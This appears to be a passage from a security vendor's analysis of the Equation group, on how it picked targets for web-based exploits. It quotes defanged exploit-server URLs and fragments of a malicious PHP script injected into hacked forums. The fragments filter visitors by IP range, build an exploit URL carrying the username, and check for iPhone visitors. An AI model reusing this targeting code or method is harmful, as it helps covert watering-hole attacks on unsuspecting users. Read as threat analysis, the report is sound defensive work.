15. How do victims get selected for infection The EQUATION group sometimes selects its victims with surgical precision. When precision is not possible, the victims are targeted by a validator (DOUBLEFANTASY) implant and subsequently disinfected if they do not appear to be interesting to the attackers. Here are some web-based targeting examples from the Equation group:
On March 2, 2013, a Kaspersky Lab user browsing an online forum was attacked with an exploit from one of the Equation groups exploitation servers: 2013-03-02 technicalconsumerreports[.]com/modular/ assemble.php?params=YoGKKdExT[snip] cS5kS5t0bvGQyB8miDu+Agn detected HEUR:Exploit.Script.Generic The attack was unsuccessful as it was caught by our product and the user was protected. The attack was targeting Firefox 17 (TOR Browser), using an unknown exploit that we have not recovered. Looking further, we identified a few other known Equation servers used in similar attacks even earlier: 2012-12-11 technology-revealed[.]com/diagram/navigate.html? overlay=AL[snip]OISn6sI1&sn=d1[SNIP]dd These attacks were delivered in several ways for example, while the user visited a number of Islamic Jihadist discussion forums , or via advertisements on popular websites in the Middle East. The forums in question appear to have been compromised by a specific PHP script that exploited only authenticated visitors. We were able to obtain one of these PHP scripts embedded in a discussion forum: Malicious PHP script injected into hacked discussion forums This PHP script provides a multitude of interesting information about the attacks. It was first designed to work as part of vBulletin, a commercial forum platform. It specifically checks if the visitors username MD5 matches two values: 84b8026b3f5e6dcfb29e82e0b0b0f3 86 MD5 of Unregistered e6d290a03b70cfa5d4451da444bdea 39 unknown MD5 In practice, this means that only logged-in users will be exploited. Next, the PHP exploitation script checks if the user comes from a specific address range: if(preg_match('/^(64.38.3.50|195.28.|94.102.|9 1.93.|41.130.|212.118.|7 9.173.|85.159.|94.249.|86.108. )/',IPADDRESS)) {return "";} Converting the ranges to their respective countries (except for 64.38.3.50, which is the only specific IP mentioned) we get the following TOP 3 countries that will NOT be exploited:
1. Jordan
2. Turkey
3. Egypt
This means that the attackers have taken special care not to infect users visiting from certain ISPs in these countries. If the visitors are from any other IP range, the PHP script constructs an exploitation URL which includes the logged in vBulletin forum name: $htt="http://technology-revealed[.]com/expand/ order.php?design=ABRSRgDQlkUAL AxGANDrRu QQofe6Y0THS8E3hfBC+M+k7CdBmTH5 gAkLvgV8EV3ULW+7KoUjbJ4UOFU6SV OtgEK7zTgPPNoDH z4vKecDGe7OzDmJlvwKvc5uYg/I/5x9"; $htt=$htt."&sn=".bin2hex(subst r($u,0,14)); The vBulletin forum username is stored in hex, as the sn= parameter to the exploit site. The exploit site can choose to hit the visitor with an exploit depending on the username, meaning that the attackers are taking great care to infect only very specific targets on these forums. Interestingly, the PHP script produces a different HTML page for iPhone visitors: if (preg_match('/iPhone/',$_SERVER['HTTP_USER_ AGENT'])){$scroll='yes';} This indicates that the exploit server is probably aware of iPhone visitors and can deliver exploits for them as well; otherwise, the exploitation URL can simply be removed for these visitors.
Most recently, the attackers used Java exploits, delivered through a specific server to visitors from the Middle East via advertising networks on popular websites. Heres an example: standardsandpraiserepurpose[.]com/login? qq=5eaae4d[SNIP]0563&rr=1&h=cc593a6bfd8e1e 26c2734173f0ef75be3527a205 These 2013-2014 attacks make use of a new domain, standardsandpraiserepurpose[.]com.
Interesting to point out the similarity in the URL construction, with parameters rr=1, followed by h= a value resembling a SHA1 hash, possibly the specific targeted username. Other collected h= values include the following: 0044c9bfeaac9a51e77b921e3295dc d91ce3956a 06cf1af1d018cf4b0b3e6cfffca3fb b8c4cd362e 3ef06b6fac44a2a3cbf4b8a557495f 36c72c4aa6 5b1efb3dbf50e0460bc3d2ea74ed2b ebf768f4f7 930d7ed2bdce9b513ebecd3a38041b 709f5c2990 e9537a36a035b08121539fd5d5dcda 9fb6336423 Considering the length and format, one might suspect they are a SHA1 hash, however, unlike the forum MD5 hashes, we couldnt break any of them. The exploits from standardsandpraiserepurpose[.] com targeted several Kaspersky Lab users and were all unsuccessful. The server attempts three different Java exploits, containing the same payload stored as info.dat inside the Java archive. These are simple downloaders that contain shellcode to download and execute the next stage from the C&C: Unfortunately, we werent able to download a copy of the next stage as the URL was already dead at the time of checking, or else it is only served and built specifically for victims at specific IPs. Another unusual aspect of targeting included multiple infection attempts against users of a certain satellite internet provider in Afghanistan.
